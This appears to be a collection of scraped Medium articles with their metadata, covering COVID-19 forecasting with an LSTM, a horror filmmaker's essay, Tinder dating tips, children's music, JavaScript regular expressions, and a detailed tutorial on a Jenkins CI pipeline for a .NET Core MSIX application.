Step 1 : Data Collection
John Hopkins University has been publishing time series data for confirmed, recovered and death cases every day for each country here. I will be taking confirmed cases for the time being as I want my article to be precise. For recovered and dead cases you can replicate the same process.
Reading data for Iran and munging it to a proper time series format.
Plot of confirmed,dead and recovered cases in Iran
Step 2: Data Pre-processing
Since there is enormous variation in data we will be taking small steps for prediction . Here we are taking 5 steps i.e validation set would be of 5 data points and rest would be training set. Since data is available from 22 jan so there are total 66 days or 66 data points.
validation set= 5 data points
train= total-validation set= 66–5=61 data points
Since the data is heavily skewed (it starts from zero and goes up to thousands), we will normalize the data(divide very value by max value of the training set) based on the training set.
Time Series Generator
Time series Generator is a Utility class for generating batches of temporal data in keras i.e. producing batches for training/validation from a regular time series data. These batches will be fed to train the model.
For our case, we are taking 5 steps i.e taking 5 data points in account to predict 6th data point. So, The batches would be [feed=[t1,t2,t3,t4,t5],predict=t6].
the flow would be
x → Neural Network/update weights → y
Step 3 : Model Building
We are implementing LSTM(Long short Term Memory) algorithm using Keras. Since any neural network is multi-layered (input → hidden layers → output layers) we are using Sequential class of keras library.
I am taking number of neurons to be around 150. However we can always get optimum number of neurons with grid search and k-fold cross validation. But as a preliminary approach , we can use the following formula.
Where, i = 3/2 * h *input_points
h is number of hidden layers, i is input neuron, input_points is number of training data points.
we have 2 hidden layers and 1 output neuron so, input neuron = 2 * 3/2 * 60 = 180. I have rounded it to 150.
Initially, we had just one layer with 150 neurons but in order to improve Accuracy and Model robustness we added one more layer with 75 neurons. So the structure of the model would be — -> pass 150 neurons to a LSTM layer → shrink the output to 75 neurons to be fed to a dense layer → one more dense layer which will further shrink the output to be 1
Activation function are non-linear transformations which breaks any linearity if present in the data.Activation functions are really important for a Artificial Neural Network to learn and make sense of something really complicated and Non-linear complex functional mappings between the inputs and response variable.A Neural Network without Activation function would simply be a Linear Model, which has limited power and does not performs good most of the times. We want our Neural Network to not just learn and compute a linear function but something more complicated than that.
We have chosen the optimizer to be “adam” . Adam is an optimization algorithm that can be used instead of the classical stochastic gradient descent procedure to update network weights iterative based in training data.It is appropriate for problems with very noisy/or sparse gradients, Computationally very efficient and requires less hyper-parameter tuning.
Our loss function is “mean squared Error loss/quadratic loss”. MSE is the sum of squared distances between our target variable and predicted values.
validation set
we have also introduced validation set to calculate loss and MAPE. Recall, validation set is equal to number of step size i.e. 5 while batches are of the shape [(t1,t2,t3,t4,t5),(t6)] i.e [(1,5,1),(1,1)]. So total data points required would be 6 i.e. one of the data point we have to take from the train set.
Training the model
We have early stopping mechanism of keras which stops training when a monitored quantity has stopped improving. In other words, if val_loss doesn’t reduce in upcoming epochs the training stops. We have given patience to be 20 i.e we have to not stop training untill 20 iterations even there is no improvement in quality. There is an important flag called “restore_best_weights” which takes the best weight from the iterations(where val loss is minimum).
Step 4 : Model Performance
The model looks good as training loss and validation loss are overlapping at a minimal value. Also, both the curves are getting flattened as the number of epochs increases.
If we look at both the losses separately
both the graphs tend to follow each other after getting trained for a couple of epochs and saturates at similar values afterwards. This validates our model being well trained.
Step 5: Forecast
We will forecast the number of confirmed cases in Iran for validation set and next 7 days from today.
The output is a normalized data so we apply inverse transformations on the following.
Restructuring the array to a readable pandas dataframe.
Plot the curve for original and predicted data
Mean Absolute Percentage Error(MAPE)
And accuracy would be 100-MAPE = ~ 93%
Calculation of prediction interval(95% confidence level,CL)
for 95% CL, t-multiplier is 1.96 which is calculated from degree of freedom of the sample and CL required
t-multiplier * standard_deviation gives the magnitude of interval.
and min and max range is given by :
min = value-interval
max = value + interval
Iran-prediction with Prediction Intervals
Conclusion
The above approach can be replicated for number of death and recovered cases for each country. Just we have to run the model in a loop and get the predictions.
However, I read an article on The Washington Post that temperature and humidity may slow down the spread of the virus. Which explains the reason that spread remains relatively low in countries like Cambodia , Laos and Vietnam as compared to Europe or US.
So, Probably, next time I would try to model a multivariate time series with variables like Temperature , Humidity and Population Density.
Feel free to ask in the comment section in case of any suggestions/queries.
I would like to thank Jose Portilla for his amazing Tutorial on Time Series on Udemy. | https://medium.datadriveninvestor.com/covid19-time-series-forecasting-using-lstm-rnn-753a04944483 | ['Ashutosh Krishna'] | 2020-03-30 15:28:30.634000+00:00 | ['Deep Learning', 'Covid 19', 'Time Series Analysis', 'Data Science', 'Artificial Intelligence'] |
A Horror Film & A Cathartic Purge | A Horror Film & A Cathartic Purge
I had a moment yesterday where it kicked in — this movie is happening. I have been writing this for a year and I’ve internally had my hand on the escape hatch until now. This is the biggest bet and investment in myself that I have ever taken. Unlike getting into college, this isn’t a one and done where I can hide in the back and do my own thing. Making this film is going to be for the next two years of my life.
I don’t have to make this film and I do.
It wasn’t until recently as I caught up with my close friend where we fall into this putty universe that is open and understanding, and I hear my dreams and fears fall out of my mouth.
Sleep Talking needs to be my first feature not because “horror films sell well,” but because it is this cathartic purge that I need. The films I have planned for after Sleep Talking are dreamier and whimsical — one is even a musical — but I can’t genuinely make those unless I tell this story first.
I need to deal with the reality that, no matter how hard I try, I cannot save everyone. I need to let myself off the hook, especially for when I was 13, that I couldn’t save my dad. Of course, I know this logically, but deep inside it’s still there.
I’m writing a horror film for those like me who try to take care of everyone, who try it have it all under control, and feel like we’re superheroes. We can certainly try, but we will lose ourselves in the process.
That’s what happens to Maya, my 12 year old protagonist, in Sleep Talking. She tries to save everyone from the demon in their family, but it leads to her demise.
I don’t want to try so hard (I say, making a feature film), but truthfully, I want to heal, process, and save myself and hopefully others through making this film.
Thank you for going on this journey with me; it’s not going to be easy, but it’ll be worth it. If you feel connected to this and want to learn more about Sleep Talking, visit our website and sign up for our newsletter.
This piece is for our Moth Monday to celebrate growth and transformation (there’s a moth or two in this movie as well). Follow us on Instagram and Twitter to join us in our Moth Monday, Crew Spotlight Tuesdays, Women Creator Wednesdays, and something for every day of the week related to our film, Sleep Talking. | https://medium.com/@jesscostafilms/a-horror-film-a-cathartic-purge-295f4e5b1b22 | ['Jess Costa'] | 2020-12-22 03:15:29.258000+00:00 | ['Filmmaking', 'Film', 'Horror', 'Horror Movies', 'Process'] |
The 8 Rules of Tinder Success for Men | I think most people have a love-hate relationship with Tinder. It’s like gambling, we love to open the app, full of high hopes. We hate getting let down and leaving the app feeling unaccomplished. Before I ended up in a relationship, I used to dread it.
But I sometimes felt like Tinder was the only way to meet people and find love, sex, or relationships. Everyone was on it. Dating in person can be hard sometimes, time is scarce, and circumstances can get in your way, like the global pandemic like right now, so Tinder felt like my only option back when I was on the market.
That’s why it’s essential that anyone looking for love and relationships consider learning how to use Tinder. It can be a great app if we learn how to use it correctly and we don’t place unrealistic expectations on people like I used to. It can be a terrible app if we use it the wrong way or think it’s going to be a magic bullet that will cure our dating woes.
My Shift in Thinking
I used Tinder but I didn’t love it at first. But at some point, I had a consciousness shift that radically changed the landscape of how I perceived dating. It opened me up to new experiences and making wonderful memories with new people. I stopped searching for something and just set out to enjoy myself.
And that’s the first lesson of Tinder, don’t take it too seriously.
After years of searching for “the one” and taking dating really seriously, it finally dawned on me that I could casually date and just see what’s out there. I didn’t need some earth-shattering, life-changing event to transpire with every single person.
Come to think of it, outside of dating, we don’t place these expectations on our regular friendships. And I think those bad expectations set us up for failure.
Once I just decided to have fun with it and accept whatever may come, things got a lot better and I stopped putting so much pressure on myself to perform. It’s easier to make friends than find the love of your life.
And that was just the beginning. Here are seven other rules that if you follow, you’ll get better at Tinder…
Rule #1: Be yourself.
I know it sounds cliche, but if you follow the herd, you’ll go where the herd goes. Dare to be different, but in a way that the women you’re trying to date can appreciate. Think of dating like putting your best foot forward. You want to be yourself; you want to be authentic, but you also want to be the best version of yourself you can be.
Put your best foot forward, but never front or be fake.
Rule #2: Drop the “bro voice” when you communicate.
Overwhelmingly, overly masculine statements usually just read as very inauthentic and sometimes covertly abusive. No begging. No belittling women. No calling them names or trying to one-up them. No “establishing dominance” or anything of that nature. Words like “sup” shouldn’t enter the dating vocabulary.
Articulating yourself well will help your chances of success infinitely.
Rule #3: Eliminate competitive language.
Relationships aren’t a contest; they aren’t a competition between who’s better. Relationships are built on cooperation and mutual interests, mutual care, and a mutual investment of time and energy.
Dating isn’t a battle where one person must win and the other person must lose. That ain’t how it works. The point is to start immediately building a partnership (should it amount to that) with someone and we don’t very well do that by insulting people.
Reach out and connect instead of reaching out to prove you’re cool and you’ll go far.
Rule #4: Act like you care (or better yet, actually care).
Take time on your profile, take time to pick out some good photos, dress well, and even hire a local photographer if you’re interested in dating enough to take Tinder seriously. A day’s worth of photos could revamp your profile in a way that makes you stand out and it would be done professionally.
An investment of $50 will not only boost your local economy but will get you some seriously good-looking and accurate pictures of who you are from different angles so that you may honestly reflect who you are.
Tell them what you’re after and that you don’t want ultra-filtered images that don’t really look like you. The goal is to be as honest as possible and be yourself, but the best version of your authentic self as possible. Everyone’s got a good angle (and I’ll speak for myself, here, that I have way too many bad angles as well).
Rule #5: Just be a nice person.
Seriously, the whole alpha-male nonsense is so played out. People who try to pull the alpha strut *think* they’re communicating alpha status, social superiority, or desirability, but usually they're just communicating that they’re insufferable and take themselves way too seriously.
Other things we communicate by putting on an alpha-male persona is that we’re insecure and that we have an ego that will need to be tended to constantly, lest we bawl up and whine and cry because the big bad woman didn’t stroke our ego properly.
Being nice is simple. Being nice and interesting is great. Being nice, interesting, and attractive, well, that’s the magic combination.
Rule #6: Accept that rejection comes with the territory.
This is the other side of the “nice person” coin, we must accept that not everyone will be into us or for us, but that by being nice, pleasant, and civil, we can greatly increase our chances of not turning off someone who might have otherwise clicked with us.
We need to learn to take rejection in stride, if you haven’t already, keeping our mouths shut except to say, “Oh, thank you for the conversation, I wish you the best of luck.”
Can we get a little politeness back into the world of dating, please, especially us men? Let’s not take rejection seriously. It happens to everyone, it’s part of life, not everyone’s going to match with you, just like you’re not going to be attracted to literally every person you come across.
We shouldn’t take rejection as a slight on our egos.
Rule #7: Continue to use the app.
Like any other social media app, Facebook, Twitter, you name it Tinder success is largely dictated by algorithms. There are a set of algorithms that reward certain behaviors. If someone messages you, promptly get back to them when you can. Be polite and don’t get your account flagged.
And try to be on the app as much as possible. I know it’s easy to get discouraged and put Tinder down for a few weeks (or months) and then try to get back into the mix later when we get lonely. But social apps invariably reward the more active users. So, try and do whatever you can to be one of those.
Rule #8: Realize that dating takes time — a lot of time.
I find it humorous the way people flippantly discuss dating as if it’s just this casual and easy thing. I used to believe falsely that dating was easy for everyone else and that it was only hard for me. That’s not really true. Everyone struggles with dating. Finding a great match takes time.
People are complex. We don’t fit into neat little boxes. Romantic chemistry is something we’re only barely beginning to understand. Compatibility in love and dating isn’t really all that easy to come by. It doesn’t matter if you’re a famous musician or actor, those people have dating and relationship struggles too.
So, understand it’ll take some time and be willing to put in the time and effort and you’ll go far. Patience is a virtue | https://medium.com/acid-sugar/the-8-rules-of-tinder-success-for-men-746419a9cf0b | ['Joe Duncan'] | 2020-12-20 19:33:08.201000+00:00 | ['Dating', 'Tech', 'Self', 'Apps', 'Relationships'] |
Piano, violin, drums: is it worth it to teach your child music? | All babies are born with musical potential, are mostly enthusiastic about music and songs. Hearing of newborns develops immediately after birth, so they respond to music very early. Encouraging your child’s natural passion can improve your relationship with him or her, can help develop language skills, and explore a world full of learning fun.
A child’s brain is developed to learn and perceive music, as it is intended to learn a language, notes Daniel Levitin, Ph.D., author of This Is Your Brain on Music. Children experience a period of “noises” before they learn to speak, this also applies to music.
“Your child can make up small songs and teach himself to hear and create various musical ideas,”
says Dr. Levitin. Singing to a baby or swinging to music can help strengthen the neural connections that are responsible for the perception of music.
What kind of music to choose?
You can give preference to any music, because the baby will be happy, when music is interesting to you. Children are very sensitive to it.
Also, kids who move rhythmically to music, smile more, calm down more easily and learn better than children who just listen.
How does playing music influence a child’s speech?
If music is always present in your life, the child may speak earlier. There is a good online store Mybuy24 where you can find interesting musical instruments and accessories for babies, and also toys that make white noise — very calming for kids. Studies have shown that children who make music with simple instruments such as drums (!) Use more communicative gestures, for example, pretend that banana is a phone, than those who passively listen to the music.
Songs also help to learn new words and poems, and the rhythm of the music improves reading skills in older children.
So, it’s worth listening to and creating music, but it doesn’t have to be a violin or a piano (if the child himself or herself does not want to). Passive acquaintance with music, accompanied by rhythmic movements of the baby and simple musical instruments will help the development of speech and a better understanding of the world. | https://medium.com/@kvitka.mail/piano-violin-drums-is-it-worth-it-to-teach-your-child-music-f8c6dc49248b | ['Kvitka Martsynyshyn'] | 2020-01-09 14:00:09.173000+00:00 | ['Speech Development', 'Baby', 'Learning And Development', 'Music', 'Brain'] |
“RU77” game. Developer diary #6 | “RU77” game developer diary #6. Shooting range
When it is not possible to reach the target by other means, some just shoot at it. | https://medium.com/@mirowin/ru77-game-developer-diary-6-4a08dbb607f9 | ['Mirowin Game Promotion'] | 2020-12-24 16:31:52.699000+00:00 | ['Virtual Reality', 'Ru77', 'Vr Experiences', 'VR', 'Russia2077'] |
Regular Expressions in JavaScript: A practical guide for beginners | The Syntax
There are two ways of specifying a Regular Expression in JavaScript.
Using the RegExp constructor
The RegExp constructor accepts two parameters: The Regular Expression and a string of options. I mainly use it whenever I want to use a string variable in my RegExp. The i -option stands for case-insensitivity.
Using the RegExp string
This syntax is the most common usage. I will stick to it throughout the rest of this article because the only difference from a practical point of view is the use of variable strings, which I outlined above. The syntax is a little different. You have to make use of so-called delimiters. You would rewrite the example from before like so:
Some basic examples
You can use RegExp to validate user input. Keep in mind that this is not always the best solution because there are many more readable options.
Let us assume you want to check if the username contains specific substrings. You could achieve this like so:
The bar | acts as a logical OR. The above example would be case-sensitive, so it would not trigger for names containing Foo .
Zip-code validation is often used as an example for showcasing how to handle repetition.
There are some reserved characters to express Regular Expressions, like the dash - or the asterisks * . If you want to match a reserved character, you have to escape it properly with a backslash. [0-9] expresses a range (every number from 0 to 9). It is also possible to specify character ranges like [a-zA-Z] , which would match every lower- or upper-case Latin character. The number in the curly braces expresses repetition. In the example, it means that there have to be five digits in a row. Each number can be between 0 to 9. We could also specify other ranges:
{5,} - at least 5 digits
{,5} - up to 5 digits
{5} - exactly 5 digits
{1,5} - between 1 and 5 digits
Expressing spans is so popular that there are shortcuts for the most common use-cases. If you are interested in this topic look for ? , * , and + quantifiers in the documentation that I have linked below.
Regular Expressions in string functions
The following example outlines one of the most common use-cases for Regular Expressions.
The replace function for strings will only alter the first occurrence. You can use a Regular Expression as a replacement pattern and provide the g modifier. g stands for global and will make sure that all occurrences will be replaced.
The match function on strings is used for pattern-matching and storing the matches.
The sample above is the most sophisticated example that we will consider. The first thing you have to know is that the match function can be executed on strings and that it takes a Regular Expression as a parameter.
The match function will return all matches within a Regular Expression. You can decide what to match using parentheses. You can also have more than one group that you would like to match.
We are using three news quantifiers in the example:
. - anything (except line breaks)
* - "0 or more times"-quantifier
.*? - make the combination of .* non-greedy
The question mark is used to make expressions non-greedy. In our example, this means:
The greedy version matches everything from the first occurrence of a quotemark to the last.
The non-greedy version matches everything from the first occurrence of a quotemark to the next appearance.
Recap
Regular Expressions are required every now and then. Every JavaScript developer should be able to come up with some essential RegExp solutions. In my opinion, the most important ones are:
Test a string.
Test for repetition.
Replace all occurrences of a pattern in a string.
Match a pattern in a string.
Thank you for reading.
That’s all, folks! | https://medium.com/swlh/regular-expressions-in-javascript-a-practical-guide-for-beginners-9a2ceceb79c | ['Enrico Gruner'] | 2020-07-02 07:45:12.713000+00:00 | ['Regular Expressions', 'JavaScript', 'Javascript String', 'Javascript Development', 'Javascript Basics'] |
Reverse Engineering: coding for cybersecurity | Photo by Alain Pham on Unsplash
Welcome back to the 15th iteration of this blog series. In this series, we’re growing our cybersecurity knowledge starting from the very basics using the overthewire.org challenges as a guide. First, I’d like to thank everyone for their feedback based on the last post! I’ll do my best to implement it and as always, more feedback is always welcome.
The Leviathan challenges are more complex and multi-stepped and I thought that working through the challenge through a video will be better as a walkthrough. Now let’s start! | https://medium.com/@samelsaid/reverse-engineering-coding-for-cybersecurity-223b8ca89ce4 | ['Elsaid Salem'] | 2020-12-22 02:14:48.011000+00:00 | ['Reverse Engineering', 'Hacking', 'Ctf'] |
Adaptation as Innovation: Making Content Meaningful | Me in front of my laptop and monitor — always with multiple windows open :-)
I’ve worked remotely for almost seven years now. This means that I can be in front of my computer during calls without being viewed as inattentive or rude. I simultaneously amaze and annoy my coworkers with my responsiveness to email requests, because I am able to quickly search for information as we discuss things. My work style has unearthed my talents as a sleuth — always looking to see what others already know or have published on a particular topic of interest. As a result, when we begin new projects, I’m often quick to discover similar projects that have already been completed in our field and to suggest that we build on these efforts instead of recreating them.
I used to fear that this meant that I was lazy or not all that creative. But my colleague, Simone Parrish helped me understand that what I am doing is actually innovating by adapting what already exists for one particular audience or setting to another. This is an important skill, especially in public health, where so many great resources and tools are developed for the public good and are available free of charge.
Adaptation takes content proven in one context and applies it in another. This is both evidence-based and innovative.
Educators, trainers, content providers, and even technologists must be able to identify knowledge needs and adapt evidence-based content to address these needs.
For the past few years, I’ve been working on developing, managing, and monitoring online learning programs for the Knowledge for Health (K4Health) Project. I can tell you firsthand that a lot of work goes into adapting and synthesizing information so that it can be easily digested online.
For example, it often takes at least nine months (often more than a year) to develop a course on the Global Health eLearning Center (GHeL). The rigorous review process of GHeL courses ensures that they are reputable resources for the latest technical and programmatic guidance on a wide range of health and development topics. However, as a global resource, courses are developed for a broad audience of stakeholders — mostly health program managers, service providers, and policy makers.
When we asked learners if course content should be adapted to fit local contexts, we received mixed responses. Those who work for the government (U.S. or other countries) often prefer the global perspective. In contrast, people who work at non-governmental organizations (NGOs) at the country or regional level tell us that it would be helpful if the content could be adapted to fit their contexts. This might include translation into local languages and the addition of country-specific case studies.
One GHeL user wondered:
“…if it is possible to use the local dialect (Filipino) so that it can be used and be easily understood by health care providers who do not have a good command of the English language or competency to cascade the learning into the local dialect. [Rural health care providers] will be able to impart the correct information to their target clients who may belong to the marginalized and uneducated. The essence of the information and knowledge might be lost if they translate information by themselves” — Tuberculosis Basics course learner, the Philippines.
Champions of adaptation believe that it is key to implementation, community development, program improvement and performance, and knowledge enhancement. Target audiences for localized course content include individuals who may not have a good grasp of the English language and who work directly with the community, such as rural health workers, community health workers, social workers, counselors, community government officials, volunteers, health surveillance assistants, and nurses.
K4Health responded to calls to adapt our global content for local contexts by working with partners in the field and documenting adaptation processes that are efficient, effective, and result in content that is easy to understand and simple to use. Based on our experiences, we recently published an adaptation guide, Making Content Meaningful (also available in French).
In the guide, we identify three types of adaptation and acknowledge that content adaptation often involves a combination of these approaches:
Making content appropriate to a specific local and cultural context
Translating content into a local language
Making it available through a different delivery method or technology appropriate for a specific local context
We outline a framework with key steps and questions, accompanied by activity sheets and illustrative examples to guide users in making informed decisions throughout the content adaptation process. The framework is divided into three phases: | https://medium.com/the-exchange-k4health/adaptation-as-innovation-making-content-meaningful-454fc4d0a345 | ['Lisa Mwaikambo'] | 2017-04-14 15:15:33.753000+00:00 | ['Design Process', 'Design', 'Writing', 'Health', 'Content Strategy'] |
Creating a Jenkins pipeline for a .NET Core application | This post is intended to give a brief introduction of how to create a Jenkins Pipeline for deploying a .NET Core (or .NET) application contained in an MSIX package, including unit tests and code coverage. Since this isn’t the most common workflow (because .NET has better integrations with other tools like Azure DevOps Pipelines), the documentation is a little scattered, so we are creating this post to facilitate this process.
First of all, we present a very brief description of what Jenkins is and what it does. Also, let me mention the team that worked on this, contributing as well as giving feedback: Ignacio Boada, Matías Nicolás Gesualdi, Gabriela Gutierrez, Nicolas Bello Camilletti, Mauro Krikorian and Juan Pablo Tomasi.
What is Jenkins?
Taken directly from its official documentation, Jenkins is a self-contained, open-source automation server that you can use to automate all sorts of tasks related to building, testing, and delivering or deploying software.
How does Jenkins Work
Jenkins works by automatically executing certain scripts to generate files that are required for deployment. These scripts are called JenkinsFiles, and they are just text files that can contain declarative or scripted code. In this post we will be focusing on declarative pipelines.
There are several ways to automate Jenkins execution, for example, triggering it periodically, or when a developer commits to a branch or creates a Pull Request.
Jenkins Pipelines
Jenkins pipelines are a suite of plugins that supports implementing and integrating continuous delivery pipelines into Jenkins. Once triggered, a Jenkins pipeline will execute any code in its JenkinsFile, and generate the artifacts that are needed for deployment. To define a Jenkins Pipeline, you write a JenkinsFile, which in turn can be committed to the source control repository. This is the foundation of “Pipeline-as-code”; treating the CD pipeline as part of the application to be versioned, and reviewed like any other code.
Requirements
First, Jenkins requires Java 8 or 11 JDK. You can download it by clicking here (SDK version 8). Also, you have to set the Java environment variables, if you haven’t done so already. You can do this by going into the Environment Variables settings (you can find it by typing the Windows key and directly typing “environment”). Once there, create two new variables, JRE_HOME and JAVA_HOME, and set them to your jdk and jre executables.
Other tools needed
Visual Studio 2019
The easiest way to get all the tools we need is to install Visual Studio Community 2019. You can download it from here.
Git for Windows
Jenkins will need Git to be able to pull the code from repositories. You can download it from here.
Getting Started: Installing Jenkins
In order to be more concise and not extend ourselves too much with this post, we won’t include here installation instructions for Jenkins, but you can find them in this tutorial, or in the official Jenkins page if you need something more elaborate like installing it on a docker container. When installing it, you will be asked to define administrator credentials. Write these down, as you will need them to access Jenkins later.
Logging in to Jenkins
Once we have everything installed, we can start using Jenkins. After the installation, Jenkins will automatically start running on its own process. The way to access it is through a web browser in the http://localhost:8080 address. By default, Jenkins listens on port 8080, and is set to be accessible only from localhost. You can change it later by modifying “Jenkins Location” in the settings menu.
Jenkins login page
Creating the pipeline
There are two pipeline types: Pipeline and Multi-branch pipeline.
Pipeline
A pipeline is intended to track a single branch (usually the master branch) and has a single JenkinsFile. By convention, this file is usually placed in the root directory, but you can move it somewhere else, and specify its location when creating the pipeline.
Creating a pipeline in Jenkins
Multi-branch pipeline
A Multi-branch pipeline is intended to support multiple environments, so you can track several branches at the same time. Each of these branches must include a JenkinsFile, and in this case we can’t change the location, all of them must be in their respective root directory.
The multi-branch pipeline will then look for JenkinsFiles in all branches, and trigger a deployment for each one that has changes.
If creating a Multi-branch pipeline, we suggest using the new BlueOcean plugin.
BlueOcean
BlueOcean is a plugin that changes most of Jenkins GUI. It also comes with many other plugins integrated, that make some workflows, like integration with GitHub, a lot easier. Creating a Multi-branch pipeline with BlueOcean is much easier than using the normal Jenkins interface.
Creating a Multi-branch pipeline using BlueOcean
To automatically integrate with GitHub or other version control repository, you need to provide credentials to Jenkins. The best way to do this (and the only one if you are using Two-Factor Authentication) is to create a Personal Access token.
Creating a JenkinsFile
Once the pipeline has been created, we have to define at least one JenkinsFile. To help in the creation of declarative pipelines, Jenkins offers its Declarative Directive Generator. You can access it from the Pipeline configuration page. This tool has preloaded many common actions that are used in pipelines. These actions can receive parameters, so if what you want to do is in the list, you just fill the parameters and click “Generate Pipeline Script”, and the tool will show the code that must be added to the JenkinsFile.
Pipeline steps for .NET Core applications
Pipelines are normally separated in “stages”. Each of these stages executes some actions that are important for the deployment. Up to this point, we have shown how to use Jenkins in a more or less generic way. Now we will show what specific steps we have to add in order to create a pipeline for deploying a .NET Core application.
Clean the Workspace: It is always a good idea to erase any files from prior pipelines execution, otherwise we risk getting unexpected behavior. To execute this stage, we are using the workspace cleanup plugin.
stage ('Clean workspace') {
steps {
cleanWs()
}
}
Get source code: After the workspace is clean, we have to retrieve the code from the repository. This step can be generated with the Declarative Directive Generator tool. At this point you will need to provide credentials. As said before, I recommend creating a personal access token.
stage ('Git Checkout') {
steps {
git branch: '<your-brach>', credentialsId: '<id-of-Jenkins-credentials>', url: '<url to your GitHub repository'
}
}
Restore NuGet packages: .NET Core applications use the NuGet package manager. To ensure that our application has any binaries that it needs to build, we have to run a “restore” operation. The ${workspace} is a Jenkins variable, that has the current path to its workspace. Jenkins variables are accessed using the “${}” syntax.
stage('Restore packages') {
steps {
bat "dotnet restore ${workspace}\\<path-to-solution>\\<solution-project-name>.sln"
}
}
One problem we had is that Jenkins workspace is defined by default inside the Windows/System32 folder. In 64-bit Windows versions, the System32 folder is not accessible by 32-bit applications. Since Visual Studio and MSBuild.exe are 32-bit applications, we had problems with them recognizing files in the Jenkins default workspace. We recommend changing the default workspace to another location to avoid this issue.
Clean the solution project: in this case, we used the MSBuild.exe command line. For more information about the switches and parameters available for the MSBuild.exe application, click on this link. The clean is instructed by the `/t:clean` parameter. Normally, this step can be done together with the build, but we were getting errors doing it that way, so we had to do it separately instead. If you don’t have MSBuild.exe in the Windows environment variables, you will need to add it, like we did before with the Java variables.
stage('Clean') {
steps {
bat "msbuild.exe ${workspace}\\<path-to-solution\\<solution-project-name>.sln" /nologo /nr:false /p:platform=\"x64\" /p:configuration=\"release\" /t:clean"
}
}
Increase version: To distinguish the different builds, we increased the application’s version. MSIX packaged applications have their version in the package manifest. The easiest way we found to do this was using a PowerShell script to directly open and modify the manifest file. The new version comes from the BUILD_NUMBER Jenkins variable that increases by 1 each time the pipeline runs.
stage('Increase version') {
steps {
echo "${env.BUILD_NUMBER}"
powershell '''
$xmlFileName = "<path-to-solution>\\<package-project-name>\\Package.appxmanifest"
[xml]$xmlDoc = Get-Content $xmlFileName
$version = $xmlDoc.Package.Identity.Version
$trimmedVersion = $version -replace '.[0-9]+$', '.'
$xmlDoc.Package.Identity.Version = $trimmedVersion + ${env:BUILD_NUMBER}
echo 'New version:' $xmlDoc.Package.Identity.Version
$xmlDoc.Save($xmlFileName)
'''
}
}
Build the solution: This stage builds the solution, generating the package, that will be the one of the artifacts resulting from the pipeline. Note the `/p:PackageCertificateKeyFile` parameter. This parameter instruct to MSBuild where is located the certificate that will be used to sign the package. If not specified, MSBuild will look for the certificate in the solution’s root location.
stage('Build') {
steps {
bat "msbuild.exe ${workspace}\\<path-to-solution>\\<solution-name>.sln /nologo /nr:false /p:platform=\"x64\" /p:configuration=\"release\" /p:PackageCertificateKeyFile=<path-to-certificate-file>.pfx /t:clean;restore;rebuild"
}
}
Running the unit tests and creating the test results: This step is necessary to run the tests and create the results file. The first two lines just use a shell to run `dotnet test` on our application (You can use both “/” or “\\” for paths). The `–logger` option specifies to use the junit logger for the test results. The `–collect “Code coverage”` tells dotnet to generate a “.coverage” file with the results of the code coverage. Then, we have a powershell script that renames the coverage files and moves them to a folder we defined ($destinationFolder).
stage('Running unit tests') {
steps {
bat "dotnet add ${workspace}/<path-to-Unit-testing-project>/<name-of-unit-test-project>.csproj package JUnitTestLogger --version 1.1.0"
bat "dotnet test ${workspace}/<path-to-Unit-testing-project>/<name-of-unit-test-project>.csproj --logger \"junit;LogFilePath=\"${WORKSPACE}\"/TestResults/1.0.0.\"${env.BUILD_NUMBER}\"/results.xml\" --configuration release --collect \"Code coverage\""
powershell '''
$destinationFolder = \"$env:WORKSPACE/TestResults\"
if (!(Test-Path -path $destinationFolder)) {New-Item $destinationFolder -Type Directory}
$file = Get-ChildItem -Path \"$env:WORKSPACE/<path-to-Unit-testing-project>/<name-of-unit-test-project>/TestResults/*/*.coverage\"
$file | Rename-Item -NewName testcoverage.coverage
$renamedFile = Get-ChildItem -Path \"$env:WORKSPACE/<path-to-Unit-testing-project>/<name-of-unit-test-project>/TestResults/*/*.coverage\"
Copy-Item $renamedFile -Destination $destinationFolder
'''
}
}
Generate the code coverage report: to generate the code coverage report, you need to perform three actions:
1. Convert the .coverage file: The “.coverage” is a proprietary format from Microsoft. To be able to see the results in Jenkins, we have to convert the “.coverage” file into a “.coveragexml” file by using the CodeCoverage.exe app:
stage('Convert coverage file to xml coverage file') {
steps {
bat "<path-to-CodeCoverage.exe>\\CodeCoverage.exe analyze /output:${WORKSPACE}\\TestResults\\xmlresults.coveragexml ${WORKSPACE}\\TestResults\\testcoverage.coverage"
}
}
2. Generate the report: by using the ReportGenerator.exe app.
stage('Generate report') {
steps {
bat "<path-to-ReportGenerator.exe>\\ReportGenerator.exe -reports:${WORKSPACE}\\TestResults\\xmlresults.coveragexml -targetdir:${WORKSPACE}\\CodeCoverage_${env.BUILD_NUMBER}
}
}
3. Publish HTML report: To make the results from the tests and the code coverage available in the Jenkins pipeline, we use the HTML Publisher plugin. After installing it, you can use it as follows. Parameters are self-explanatory.
stage('Publish HTML report') {
steps {
publishHTML(target: [allowMissing: false, alwaysLinkToLastBuild: false, keepAll: false, reportDir: 'CodeCoverage_${BUILD_NUMBER}', reportFiles: 'index.html', reportName: 'HTML Report', reportTitles: 'Code Coverage Report'])
}
}
Resulting tests HTML report
If your HTML report shows as if not having any styles, follow the steps in this post.
Archive artifacts: to store the artifacts that the pipeline outputs we added these the “post” directive. This directive will execute after all the stages have been executed. The “always” means that it will be executed, regardless of success or failure of the pipeline. In our case, the artifacts are the “.msix” package created, and the results.xml from the test results.
post {
always {
archiveArtifacts artifacts: '**/*.msix', followSymlinks: false
junit "TestResults/1.0.0.${env.BUILD_NUMBER}/results.xml"
}
}
Running the pipeline
Once we have the JenkinsFile ready, we can try running the pipeline directly from the Jenkin’s Pipeline homepage. Jenkins will show which stages ran successfully and how long it took to complete. It will also provide a link to the artifacts if they could be generated.
Overview of pipeline stages execution
Pipeline execution results
Adding a GitHub Webhook to our pipeline
As we said before, one option for running Jenkins is polling for changes every certain amount of time. This approach is inefficient because it does unnecessary polls where there are no changes, and may take too long to make a poll when there are changes. To solve this, we can use webhooks. In this case, we used GitHub, so we will explain how to do this for a GitHub repository.
GitHub Webhooks are a mechanism for sending requests to an URL when certain conditions are met. This POST request is then used by Jenkins to know if it must start executing a pipeline.
To create a webhook we must go to the Settings->Webhooks section of a GitHub repository.
Formulary for creating a Webhook in GitHub
The Payload URL must have the form http://<jenkins-url>/github-webhook/. (Don’t forget the last “/”, otherwise it won’t work). The <Jenkins-url> can be configured in Jenkins by changing its “Jenkins URL” attribute.
Keep in mind:
<Jenkins-url> must be a public IP (and include the port if necessary). Also, the port must be open to inbound connections from GitHub webhook IPs. These can be retrieved from the meta API, in the “hooks” section of the Json.
Content-type must be Json
Secret is not obligatory, but can be used to secure the communication
